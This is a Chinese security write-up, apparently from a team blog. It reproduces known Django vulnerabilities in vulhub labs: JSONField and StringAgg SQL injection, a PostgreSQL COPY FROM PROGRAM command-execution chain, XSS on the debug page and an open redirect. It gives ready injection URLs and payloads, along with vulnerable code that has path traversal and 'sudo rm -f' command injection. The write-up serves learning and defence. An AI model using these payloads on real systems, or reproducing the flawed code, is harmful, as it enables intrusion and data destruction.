Django是一个开放源代码的Web应用框架,由Python写成。采用了MVT的软件设计模式,即模型Model,视图View和模板Template。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的。并于2005年7月在BSD许可证下发布。这套框架是以比利时的吉普赛爵士吉他手Django Reinhardt来命名的。
Django的主要目标是使得开发复杂的、数据库驱动的网站变得简单。Django注重组件的重用性和“可插拔性”,敏捷开发和DRY法则(Don't Repeat Yourself)。在Django中Python被普遍使用,甚至包括配置文件和数据模型。
——————引用 维基百科 | by Wikipedia
先来看看Django 版本对应的 Python 版本:
Django 版本 | Python 版本 |
1.8 | 2.7, 3.2 , 3.3, 3.4, 3.5 |
1.9, 1.10 | 2.7, 3.4, 3.5 |
1.11 | 2.7, 3.4, 3.5, 3.6 |
2.0 | 3.4, 3.5, 3.6, 3.7 |
2.1, 2.2 | 3.5, 3.6, 3.7 |
既然是Web应用框架,多多少少的都会有Web漏洞,例如Sql注入,XSS,逻辑,文件上传,REC等等等等。上图所示的Django又对应不同的开发环境,乱糟糟的。还是通过漏洞类型来总结一下吧,方便查看。
vulhub搭建,进行访问
通过构造URL即可查看SQL语句。
http://192.168.26.128:8000/admin/vuln/collection/?detail__a'b=123
可以看见,已注入单引号导致SQL报错,而此时,后端的代码其实为:
Collection.objects.filter(**dict("detail__a'b": '1')).all()
结合CVE-2019-9193可进行命令注入。
构造shell,创建cmd_exec
http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3b create table cmd_exec(cmd_output text)--%20
http://192.168.26.128:8000/admin/vuln/collection/?detail__title')%3d'1'or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'touch /tmp/vuln.txt'--%20
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
通过JSONField类获得KeyTransform类并生成sql语句的位置。其中key_name是可控的字符串,最终生成的语句是
WHERE (field->'[key_name]') = 'value'
因此可以进行SQL注入。
通过vulhub进行搭建
在该网页中使用get
方法构造q
的参数,构造SQL注入的字符串
20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
可见,括号已注入成功,SQL语句查询报错:
如图上图所示,存在注入。
在该网页中使用get
方法构造q
的参数,构造出SQL注入的字符串
0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
http://your-ip:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
如上图所示,存在注入。
Github 仓库查找 django 的 commit 记录,在这里不难发现官方对其的修复方式:
https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136
看到这里,我们并不难发现,漏洞的点在于下面的模块下:
from django.contrib.postgres.aggregates import StringAgg
官方对 delimiter 使用如下语句处理来防御 django:
delimiter_expr = Value(str(delimiter))
Ps:为什么会用这样的方式来防御呢?因为在 django 开发中编写查询操作的时候,正确的做法是用下面的代码段:
sql = "SELECT * FROM user_contacts WHERE username = %s"
user = 'test'
cursor.execute(sql, [user])
django会根据你所使用的数据库服务器(例如PostSQL或者MySQL)的转换规则,自动转义特殊的SQL参数。如果你的查询代码像下面这种写法就存在注入的风险:
sql = "SELECT * FROM user_contacts WHERE username = %s" % 'test'
cursor.execute(sql)
从源码中,我们可以看到Value
函数的内容:
class Value(Expression):
"""Represent a wrapped value as a node within an expression."""
def __init__(self, value, output_field=None):
"""
Arguments:
* value: the value this expression represents. The value will be
added into the sql parameter list and properly quoted.
* output_field: an instance of the model field type that this
expression will return, such as IntegerField() or CharField().
"""
super().__init__(output_field=output_field)
self.value = value
注释写的非常清楚,Value()
处理过的参数会被加到sql的参数列表里,之后会被 django 内置的过滤机制过滤,从而防范 SQL 漏洞。
在存在风险的版本中,poc语句如下:
results = Info.objects.all().values('gender').annotate(mydefinedname=
StringAgg('name', delimiter="-"))
results = Info.objects.all().values('gender').annotate(mydefinedname
=StringAgg('name', delimiter="-\') AS "mydefinedname" FROM "vul_app_info
" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- "))
该语句使用了 StringAgg
类,用于将输入的值使用 delimiter 分隔符级联起来,原本的语句中,查询 Info 对应的 postgres 数据表的 gender 列,并使用 -
来连接 name
列,那么通过修改 delimiter 的内容,就可以实现注入。
当 delimiter 是单引号的时候会导致报错,命令在postgres中变成了
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1
在三个单引号那里出现错误,而我们将 delimiter 设置为 ')--
便可以成功的注释掉 FROM
语句,从而构造自己的payload。
'-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
通过vulhub进行搭建
访问下面URL:
http://192.168.26.128:8000/create_user/?username=<script>alert(1)</script>
再次访问:
Postgres抛出的异常为:
duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(1)</script>) already exists.
这个异常被拼接进
The above exception ({{ frame.exc_cause }}) was the direct cause of thefollowing exception
最后触发XSS。
在官方库中有如下描述:
In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn’t affect most production sites since you shouldn’t run with “DEBUG = True” (which makes this page accessible) in your production settings.
在调试模板中关闭了html的自动转义,但官方认定危害不大,因为在生产环境中不应该设置:DEBUG = True
查看官方的django/views/debug.py
修改记录,发现增加了强制转义:
如果要触发这两个输出点,就必须进入这个if语句:
{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}
注意到The above exception was the direct cause of the following exception
这句话,一般是在出现数据库异常的时候,会抛出这样的错误语句。
查看django/db/utils.py
的__exit__
函数:
def __exit__(self, exc_type, exc_value, traceback):
if exc_type is None:
return
for dj_exc_type in (
DataError,
OperationalError,
IntegrityError,
InternalError,
ProgrammingError,
NotSupportedError,
DatabaseError,
InterfaceError,
Error,
):
db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
if issubclass(exc_type, db_exc_type):
dj_exc_value = dj_exc_type(*exc_value.args)
dj_exc_value.__cause__ = exc_value
if not hasattr(exc_value, '__traceback__'):
exc_value.__traceback__ = traceback
# Only set the 'errors_occurred' flag for errors that may make
# the connection unusable.
if dj_exc_type not in (DataError, IntegrityError):
self.wrapper.errors_occurred = True
six.reraise(dj_exc_type, dj_exc_value, traceback)
其中exc_type
是异常,如果其类型是DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error
之一,则抛出一个同类型的新异常,并设置其__cause__
和__traceback__
为此时上下文的exc_value
和traceback
。
exc_value
是上一个异常的说明,traceback
是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常。
最后,在500页面中,__cause__
被输出。
使用Postgres
数据库并触发异常的时候,psycopg2
会将字段名和字段值全部抛出。那么,如果字段值中包含我们可控的字符串,又由于之前说到的,这个字符串其实就会被设置成__cause__
,最后被显示在页面中。
通过vulhub进行搭建
访问http://your-ip:8000//www.baidu.com
,即可返回是301跳转到//www.baidu.com/
:
当setting中配置了django.middleware.common.CommonMiddleware
且APPEND_SLASH
为True
时漏洞就会触发,而这两个配置时默认存在的,而且APPEND_SLASH
不用显示写在setting
文件中的。CommonMiddleware
是Django中一个通用中间件,实质上是一个类,位于site-packages/django/middleware/common.py
,会执行一些HTTP请求的基础操作:
- Forbid access to User-Agents in settings.DISALLOWED_USER_AGENTS
- URL rewriting: Based on the APPEND_SLASH and PREPEND_WWW settings,
append missing slashes and/or prepends missing "www."s.
- If APPEND_SLASH is set and the initial URL doesn't end with a
slash, and it is not found in urlpatterns, form a new URL by
appending a slash at the end. If this new URL is found in
urlpatterns, return an HTTP redirect to this new URL; otherwise
process the initial URL as usual.
This behavior can be customized by subclassing CommonMiddleware and
overriding the response_redirect_class attribute.
- ETags: If the USE_ETAGS setting is set, ETags will be calculated from
the entire page content and Not Modified responses will be returned
appropriately. USE_ETAGS is deprecated in favor of
ConditionalGetMiddleware.
Ps:注释大概的意思就是:
1.你可以在settings下定义一个DISALLOWED_USER_AGENTS变量,然后这个变量存放User-Agent黑名单,如果客户端请求时带上了其中的User-Agent访问,则会被拦截。2.URL重写功能,依赖于APPEND_SLASH和PREPEND_WWW设置。如果设置了APPEND_SLASH为True,并且用户访问的url末尾没有带/,然后这个url又和你在urlpatterns中定义的url都匹配不上,那么django就会在这个url后面添加上一个/,如果添加/之后的url可以在urlpatterns中找到,则django会返回一个重定向给用户,重定向的url就是它给你加上/的那个url。3.如果想要定制url重写功能,可以继承CommonMiddleware,然后覆盖response_redirect_class属性,默认的response_redirect_class为HttpResponsePermanentRedirect类,该类把状态码设置为301,即永久重定向。
但是如果URL是这样的:http://IP:8000//baidu.com
,那么程序会进入site-packages/django/middleware/common.py下执行process_request()函数:
可以看到,上面的程序会进入get_full_path_with_slash()函数:
分析一下get_full_path_with_slash()函数:
其实作用就是给path末尾加上斜杠,也就是返回一个//baidu.com/
,接着进入response_redirect_class函数,它是HTTP跳转的一个基类:
再往后有对协议的检查,但是scheme根本就不存在,所以会跳过这个判断:
双斜线是为了告诉浏览器这是绝对路径,否则就会跳转到http://127.0.0.1:8000/baidu.com/
而不是百度了。
系统都是人开发的,人总是有弱点的,体现在系统上漏洞点绝不仅仅这些了,例如:
文件操作:文件操作主要包含任意文件下载,删除,写入,覆盖等
@login_required
@permission_required("accounts.newTask_assess")
def exportLoginCheck(request,filename):
if re.match(r“*.lic”,filename):
fullname = filename
else:
fullname = "/tmp/test.lic"
print fullname
return HttpResponse(fullname)
上面这段代码就存在着任意.lic文件下载的问题,没有做好限制而达到目录穿越。
命令注入:
def myserve(request, filename, dirname):
re = serve(request=request,path=filename,document_root=dirname,show_indexes=True)
filestr='authExport.dat'
re['Content-Disposition'] = 'attachment; filename="' + urlquote(filestr) +'"'fullname=os.path.join(dirname,filename)
os.system('sudo rm -f %s'%fullname)
return re
很显然,上面这段代码其实是存在问题的,因为fullname是用户可控的。
做为一名刚从事安全行业的萌新,现在一般的web开发框架安全已经做的挺好的了,比如大家常用的django,但是一些不规范的开发方式还是会导致一些常用的安全问题,这些安全问题又是测试人员需要高度注意的地方,其实总结下来无外乎:
1、一切输入都是不可靠的,做好严格过滤。
2、验证输入,避免注入,危险函数列表:evec(),eval(),os.system(),os.popen(),execfile(),input(),compile()
3、访问控制
4、认证管理和session管理,url中不要带认证信息或者用户信息,给敏感信息加密,python的random和whrandom不是足够强大,要获取强大的密码,得使用n=open('/dev/urandom')data = n.read(128)5、xss
6、错误处理
7、不安全的存储,如base64编码密码
8、ddos
9、配置管理,session过期时间
10、缓冲区溢出
而这些点,对于开发,安全来讲都是通用的,相辅相成的作用下才能“相对安全”。共勉~
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。